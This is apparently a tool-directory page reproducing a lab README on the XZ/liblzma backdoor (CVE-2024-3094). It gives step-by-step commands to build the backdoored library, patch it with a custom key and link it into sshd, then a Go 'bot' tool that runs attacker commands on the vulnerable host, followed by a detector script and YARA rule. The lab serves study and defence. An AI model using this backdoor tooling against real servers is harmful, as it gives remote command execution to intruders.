Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2024-3094 — A XZ backdoor vulnerability explained in details | Kitploit
Tools/GitHubGitHub/valeriot30/cve-2024-3094
Vulnerability AnalysisExploitationMalware AnalysisBinary AnalysisLearning & EducationLabs & Practice
GitHubvaleriot30/cve-2024-3094

cve-2024-3094

A XZ backdoor vulnerability explained in details

View Repository
1131 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

🛡️ Cybersecurity Project: Analyzing the XZ Backdoor in liblzma

📄 Overview

This project analyzes the high-profile backdoor discovered in xz-utils (liblzma), affecting versions 5.6.0 and 5.6.1. The malicious code introduced into the upstream build system targeted SSH authentication by modifying how sshd interacts with the LZMA compression library at runtime.

⚠️ This project is for educational and defensive research purposes only.

Vulnerable machine

Clone this repository

root@kitploit:~
git clone https://github.com/valeriot30/cve-2024-3094

Navigate to the directory

root@kitploit:~
cd cve-2024-3094

Spawn the docker container

root@kitploit:~
docker build -t fedora-dev .
docker run --privileged -it --rm -p 2222:22 fedora-dev

Get a malicious version of the library

root@kitploit:~
cd ~  
git clone https://github.com/thesamesam/xz-archive.git  
cd xz-archive/5.6/ # The vulnerable version ( it works as well with 5.6.1 )  
tar xzf xz-5.6.0.tar.gz  
mv xz-5.6.0 ~
Download Tool

Export the build target

root@kitploit:~
export RPM_ARCH=$(uname -m)

Compile the malicious library

root@kitploit:~
cd ~
 cd ./xz-5.6.0/  
./configure
make -j 8

Copy the malicious SO outside:

root@kitploit:~
cp ./src/liblzma/.libs/liblzma.so.5.6.0 ~

Clone again the repository inside the container

root@kitploit:~
git clone https://github.com/valeriot30/cve-2024-3094

Patch the liblzma library with a custom key

root@kitploit:~
 python3 cve-2024-3094/patch.py liblzma.so.5.6.0

Link the malicious library in the system

root@kitploit:~
 sh cve-2024-3094/inject.sh

Run the sshd linked with the malicious library

root@kitploit:~
 env -i LANG=C /usr/sbin/sshd -D &

Attacker machine

Clone this repository

root@kitploit:~
git clone https://github.com/valeriot30/cve-2024-3094

Navigate to the directory

root@kitploit:~
cd cve-2024-3094

Compile the GO Tool

root@kitploit:~
go build

Use the tool by inserting vulnerable machine IP address and the command to execute

root@kitploit:~
./bot -addr 127.0.0.2:2222 -cmd 'sleep 60'

Counter-Measures

Using the detector

Run the detector

root@kitploit:~
sh detector.sh

Using Yara

Use the yara matching rules

root@kitploit:~
yara rule.yar ../liblzma.so.5.6.0 -s